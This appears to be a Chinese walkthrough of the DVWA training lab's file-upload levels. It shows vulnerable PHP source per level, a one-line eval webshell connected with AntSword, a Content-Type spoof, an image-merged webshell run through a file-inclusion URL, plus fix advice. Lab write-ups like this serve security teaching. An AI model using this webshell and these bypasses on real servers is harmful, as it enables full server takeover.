网络安全 DVWA通关指南 DVWA File Upload(文件上传)

news2024/11/14 13:53:11

DVWA File Upload(文件上传)

文章目录

  • DVWA File Upload(文件上传)
    • 修复建议
  • Low
  • Medium
  • High
  • Impossible

修复建议

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击(PHP更新到最新版本)

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

Low

1、分析网页源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>
    
    
<?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义目标文件夹路径,这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量,指向网站根目录
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 获取上传文件的原始名称,并将其附加到目标路径上,以构建完整的文件存储路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // 如果文件未成功移动(例如,由于权限问题或文件大小超出限制等),输出错误信息
        $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // 文件成功上传至指定位置,输出成功信息
        $html .= "<pre>{$target_path} successfully uploaded!</pre>";
    }
}

// 注解:
// 上述代码实现了一个简单的文件上传功能,但缺少必要的安全验证,如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中,应在将文件移动到目标路径之前,添加详细的验证和清理步骤以确保上传行为的安全性。
?>

2、Low级别没有对上传的文件进行任何限制,我们可以直接上传一句话木马,然后使用中国蚁剑连接。

<?php @eval($_POST['attack']) ?>

image-20240511103716434

使用蚁剑连接一句话木马

  1. 启动AntSword应用后,在界面的任意空白区域点击鼠标右键,这时会出现一个菜单。在弹出的菜单中,选择「添加数据」选项。屏幕截图 2024-05-11 104500
  2. 进入到添加数据的页面,根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕,点击「测试连接」按钮,检查连接是否成功。屏幕截图 2024-05-11 104740
  3. 填写完成后,点击页面中的「添加」按钮,这时候你刚刚输入的信息会被保存为一个新的Shell条目,并能在数据管理列表中看到它。image-20240511105111468
  4. 接下来,双击这个新添加的Shell条目,系统将带你进入该Shell对应的文件管理界面,从而可以进一步操作和管理相关文件。image-20240511104222952

连接木马成功后,直接获取Webshell,可以在服务器上进行任意操作。

Medium

1、分析网页源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>
    
    
    
    
    
<?php

// 检查是否设置了 'Upload' POST 参数,这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {

    // 设置目标上传路径,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 使用原始文件名构建完整的文件保存路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件的信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];      // 文件名
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];      // 文件类型(MIME类型)
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];      // 文件大小

    // 检查文件是否为允许的图像格式(JPEG或PNG)且文件大小小于100KB
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) {

        // 尝试将上传的临时文件移动到指定的目标路径
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 如果文件无法移动(可能是权限问题或路径错误),输出错误信息
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件成功上传,输出成功信息及上传后的文件路径
            $html .= "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件不是允许的类型或超过大小限制,输出错误信息
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

Medium级别限制上传文件类型只能为JPEG或PNG,同时限制文件大小不能超过100KB。这个时候再上传一句话木马,会提示上传失败。

image-20240511110718455

2、使用Burp Suite抓取一句话木马文件上传的包,发现上传的PHP文件类型在包里。

image-20240511111423759

修改1.php文件的文件类型为“image/png”,然后Foward。

Content-Type: image/png; 

image-20240511111909483

虽然我们上传的文件是PHP文件,但还是可以通过修改网页HTTP报文中文件类型,来绕过网页白名单检查。

image-20240511111924303

High

1、分析网页源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>
    
    
    
    
<?php

// 检查是否设置了 'Upload' POST 参数,表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {

    // 设置文件上传的目标目录,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    // 从上传文件名中提取文件的基本名称,包括其扩展名,用于构建完整的目标文件路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件的详细信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];       // 原始文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名,通过查找最后一个点的位置来提取
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];       // 文件大小(字节)
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // 上传文件的临时存储路径

    // 检查文件扩展名是否为允许的图像格式(不区分大小写),文件大小是否小于100KB,并确认是有效的图像文件
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像

        // 尝试将上传的临时文件移动到指定的目标路径
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 如果文件未能成功移动(可能因权限问题或路径错误),输出错误信息
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件成功上传,输出包含文件路径的成功信息
            $html .= "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件扩展名不符、过大或不是有效的图像文件,输出错误信息
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

getimagesize()函数,用于获取图像文件的大小以及相关信息。该函数会检查图片文件头,如果不存在或不是一个有效的图像文件则报错。

1、我们可以准备一张图片和一句话木马的文件,通过copy命令将两个文件合并成一个文件。

image-20240623155013786

copy muma.png/b + muma.php/a 1.png

屏幕截图 2024-06-23 155102

image-20240623155320667

文件上传成功

image-20240623155452622

2、但此时2.jpg是个图像文件,无法使用蚁剑连接。我们需要将2.jpg作为php文件执行,使用文件包含漏洞( File Inclusion),构造payload。

http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png

image-20240623155359236

Impossible

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Where are we going to be writing to?
	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
		( $uploaded_size < 100000 ) &&
		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
		if( $uploaded_type == 'image/jpeg' ) {
			$img = imagecreatefromjpeg( $uploaded_tmp );
			imagejpeg( $img, $temp_file, 100);
		}
		else {
			$img = imagecreatefrompng( $uploaded_tmp );
			imagepng( $img, $temp_file, 9);
		}
		imagedestroy( $img );

		// Can we move the file to the web root from the temp folder?
		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
			// Yes!
			$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
		}
		else {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}

		// Delete any temp files
		if( file_exists( $temp_file ) )
			unlink( $temp_file );
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2075424.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【系统安全】Kernel Streaming WOW Thunk 服务驱动程序特权提升漏洞(CVE-2024-38054)

文章目录 前言一、漏洞概述二、影响范围三、漏洞复现四、修复方法前言 安全研究员 “Frost” 发布了CVE-2024-38054漏洞的概念验证漏洞利用代码,这加剧了人们对最近修补的 Windows 安全漏洞的担忧。内核流 WOW Thunk 服务驱动程序中的这个高严重性漏洞可能使本地攻击者能够通…

【赵渝强老师】使用Docker Machine远程管理Docker

Docker Machine是Docker官方提供的一个远程管理工具。通过使用Docker Machine&#xff0c;可以帮助开发人员在远程主机上安装Docker&#xff1b;或者在远程的虚拟主机上直接安装虚拟机并在虚拟机中安装Docker。Docker Machine还提供了相应的命令来管理这些远程的Docker环境和虚…

四川财谷通信息技术有限公司引领新风尚

在数字经济蓬勃发展的今天&#xff0c;电子商务已成为推动经济增长的重要引擎之一。而在这股浪潮中&#xff0c;短视频平台抖音凭借其庞大的用户基数和高度活跃的社区氛围&#xff0c;为无数小微企业和个人创业者提供了前所未有的发展机遇。四川财谷通信息技术有限公司&#xf…

如何防止图纸外泄?图纸安全管理措施有哪些(必备清单)

当今数字化和信息化的时代&#xff0c;图纸作为企业设计、制造等环节中的重要资料&#xff0c;其安全性尤为重要。图纸的泄露不仅可能导致企业的技术秘密被竞争对手获取&#xff0c;还可能造成巨大的经济损失和法律纠纷。因此&#xff0c;建立健全的图纸安全管理措施是每个企业…

虚幻5|音效设置—环境音效,低血量和恢复血量音效,音效衰减,脚步音效

一&#xff0c;环境音效——学习使用SoundCue 1.打开主界面 拖入一个环境音效 2.选择一个音效&#xff0c;但这个音效围绕整个环境的&#xff0c;设置听听就行了 听完后删掉&#xff0c;我们要设置一个有一定范围的音效 3.找到存放音效的文件&#xff0c;创建一个音频SoundC…

【机器学习西瓜书学习笔记——强化学习】

机器学习西瓜书学习笔记【第十六章】 第十六章 强化学习16.1 任务与奖赏四种主要的机器学习方式马尔可夫决策过程 16.2 K K K-摇臂赌博机探索与利用$\epsilon $-贪心 S o f t m a x Softmax Softmax 16.3 有模型学习策略评估策略改进策略迭代与值迭代 16.4 免模型学习蒙特卡罗…

电商渠道有效的治理方法和流程

在当今消费模式不断推陈出新的时代&#xff0c;品牌为了紧跟市场潮流&#xff0c;持续拓展销售途径。从传统的电商平台到新兴的直播带货、社区团购以及到家服务平台&#xff0c;多样化的线上渠道为品牌销售开辟了广阔天地。然而&#xff0c;机遇与挑战总是相伴相生&#xff0c;…

开发者社区✖️外滩大会「创新者舞台」——《特斯拉,不止于车》

备受瞩目的“2024 Inclusion外滩大会”将于2024年9月5日至7日在上海黄浦世博园区盛大开幕。 外滩大会云集了蚂蚁集团、清华大学、复旦大学、上海交通大学、同济大学、浙江大学、上海报业集团、外滩投资集团等在学术界和产业界享有科技盛誉的组织。 大会将延续 “科技创造可持续…

合作文章(IF=7.7)|非靶+靶向+16S +RNA-Seq探究广东虫草对非酒精性脂肪肝的功效

研究背景 肥胖症的持续增长已成为一个全球性的公共卫生问题&#xff0c;世界卫生组织(WHO)报告称&#xff0c;全球超过八分之一的人患有肥胖症。目前&#xff0c;全球范围内代谢功能障碍相关脂肪性肝病(MASLD)&#xff0c;以前被称为非酒精性脂肪性肝病(NAFLD)&#xff0c;随着…

【CTF Reverse】CTFShow re2 Writeup(反编译+XOR+RC4)

re2 30 感谢W22提供的题目 工具 RC4 加密/解密 - 在线工具 https://www.toolhelper.cn/SymmetricEncryption/RC4 解法 解压压缩包。 txt 文件里是乱码。 exe 文件导入 DIE 分析。是一个 PE32 程序。 导入 IDA&#xff0c;按 F5 查看 main_0 函数伪代码。 int __cdecl main_…

基于imx6ull平台opencv的图像采集和显示屏LCD显示功能(不带Qt界面)

目录 一、概述二、环境要求2.1 硬件环境2.2 软件环境 三、开发流程3.1 编写测试3.2 验证功能 一、概述 本文档是针对imx6ull平台opencv的图像采集和显示屏LCD显示功能&#xff0c;opencv通过摄像头采集视频图像&#xff0c;将采集的视频图像送给显示屏LCD进行显示。 测试结果…

OpenFeign服务的接口调用

为了保障文章的流畅性&#xff08;文章穿插大量的环境搭建没意思&#xff0c;会干扰文章的主题&#xff0c;无聊的很&#xff09;&#xff0c;将环境的搭建与测试&#xff0c;工具的版本说明放了文末&#xff1a; 四、环境搭建。 一、概述 1.1、官网 Feign 是一个声明式 Web…

Linux系统——服务器长时间训练不间断指令(nohup的简单用法)

Linux服务器训练中nohup的用法 在模型训练过程中&#xff0c;许多人选择在服务器上运行代码&#xff0c;而大多数服务器运行在Linux环境下。通常情况下&#xff0c;我们可以直接在Linux终端中使用如下命令来启动训练代码&#xff08;以运行main.py为例&#xff09;。 python …

【Opencv】一文向您详细介绍 `Mat::ptr()` 函数

【Opencv】一文向您详细介绍 Mat::ptr() 函数 下滑即可查看博客内容 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我静心耕耘深度学习领域、真诚分享知识与智慧的小天地&#xff01;&#x1f387; &#x1f393; 博主简介&#xff1a;985高校的普通本硕&#xf…

【原创教程】电气电工11:伺服接线

电气电工这些知识点,我们描述的比较细,虽然看起来比较简单,但是它是后面我们技能提升的基础,如果我们后面学电气工程师相关知识,这些都属于基本功。 接着我们来看一下伺服接线 伺服,英文servo(来源希腊,意为仆人)。在工业现场,由我们给伺服系统发送一个控制指令,然…

数据结构(邓俊辉)学习笔记】串 04——KMP算法:查询表

文章目录 1.制表备查2.主算法3.实例 1.制表备查 接下来我们来看看。KMP 算法究竟如何兑现我们刚才所提及的记忆力以及预知力&#xff0c;我们将会看到这种方法非常的便捷与高效&#xff0c;本质上讲&#xff0c;它无非就是构造了一张查询表。 回到我们刚才的问题&#xff0c;在…

Windows中pycharm使用虚拟环境不显示虚拟环境的名也不出现base

出现下图情况 一、修改shell path 二、环境变量中加入condabin 三、如果上述还不行&#xff0c;初始化conda再进行一、二、操作 最终进入了我创建的虚拟环境b中

【html+css 绚丽Loading】000017 三元轮转镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

VCTP(Visual Chain-of-Thought Prompting for Knowledge-Based Visual Reasoning)论文

目录 摘要介绍相关工作方法总体模型细节 实验 摘要 知识型视觉推理仍然是一个艰巨的任务&#xff0c;因为它不仅要求机器从视觉场景中解释概念和关系&#xff0c;而且还需要将它们与外部世界知识联系起来&#xff0c;对开放世界问题进行推理链。然而&#xff0c;以前的工作将视…

论文文献翻译怎么做?快又准的外文文献翻译软件帮你搞定

平时我们查阅文献通常都是将其翻译成中文&#xff0c;方便更高效和准确地理解和阅读&#xff1b;但对于不少留学生而言&#xff0c;如何把文献翻译成英文也是他们需要解决的一大硬茬~ 今天就给大家盘点了4个能够把文献翻译成英文的实用小技巧&#xff0c;有需要的小伙伴可别错…